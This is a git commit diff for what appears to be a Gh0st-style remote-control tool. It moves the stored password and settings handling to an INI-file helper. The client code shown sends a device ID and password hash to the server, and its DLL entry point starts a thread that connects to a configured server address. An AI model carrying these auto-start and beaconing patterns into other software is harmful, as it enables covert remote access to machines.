Improve(settings): Save settings to register

This commit is contained in:
yuanyuanxiang
2025-06-18 04:22:48 +08:00
parent c04da3618b
commit 7c7c539305
19 changed files with 252 additions and 149 deletions

View File

@@ -12,6 +12,7 @@
#include "MemoryModule.h"
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
#include <common/iniFile.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -203,19 +204,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (hMutex == NULL) // û<>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>
break;
CloseHandle(hMutex);
const char* pwdHash = m_conn->pwdHash;
#else
const char* pwdHash = MASTER_HASH;
#endif
char buf[100] = {}, *passCode = buf + 5;
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
char path[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, path, MAX_PATH);
if (passCode[0] == 0) {
std::string devId = getDeviceID();
memcpy(buf + 5, devId.c_str(), devId.length()); // 16<31>ֽ<EFBFBD>
memcpy(buf + 32, m_conn->pwdHash, 64); // 64<36>ֽ<EFBFBD>
memcpy(buf + 32, pwdHash, 64); // 64<36>ֽ<EFBFBD>
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
} else {
GET_FILEPATH(path, "settings.ini");
WritePrivateProfileStringA("settings", "Password", passCode, path);
iniFile cfg;
cfg.SetStr("settings", "Password", passCode);
}
break;
}

View File

@@ -7,6 +7,7 @@
#include <ctime>
#include <NTSecAPI.h>
#include "common/skCrypter.h"
#include <common/iniFile.h>
// by ChatGPT
bool IsWindows11() {
@@ -269,10 +270,8 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
#else
{
#endif
GET_FILEPATH(buf, "settings.ini");
char auth[_MAX_PATH] = { 0 };
GetPrivateProfileStringA("settings", "Password", "", auth, sizeof(auth), buf);
str = std::string(auth);
iniFile cfg;
str = cfg.GetStr("settings", "Password", "");
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
auto list = StringToVector(str, '-', 3);
str = list[1].empty() ? "Unknown" : list[1];

View File

@@ -207,6 +207,25 @@ typedef struct PluginParam {
#define DLL_API
#endif
#include <stdio.h>
bool WriteTextToFile(const char* filename, const char* content)
{
if (filename == NULL || content == NULL)
return false;
FILE* file = fopen(filename, "w");
if (file == NULL)
return false;
if (fputs(content, file) == EOF) {
fclose(file);
return false;
}
fclose(file);
return true;
}
extern DLL_API DWORD WINAPI run(LPVOID param) {
PluginParam* info = (PluginParam*)param;
int size = 0;
@@ -250,6 +269,9 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
strcpy(param.IP, g_Server.szServerIP);
param.Port = atoi(g_Server.szPort);
param.User = g_Server.pwdHash;
#if 0
WriteTextToFile("HASH.ini", g_Server.pwdHash);
#endif
CloseHandle(CreateThread(NULL, 0, run, &param, 0, NULL));
}
return TRUE;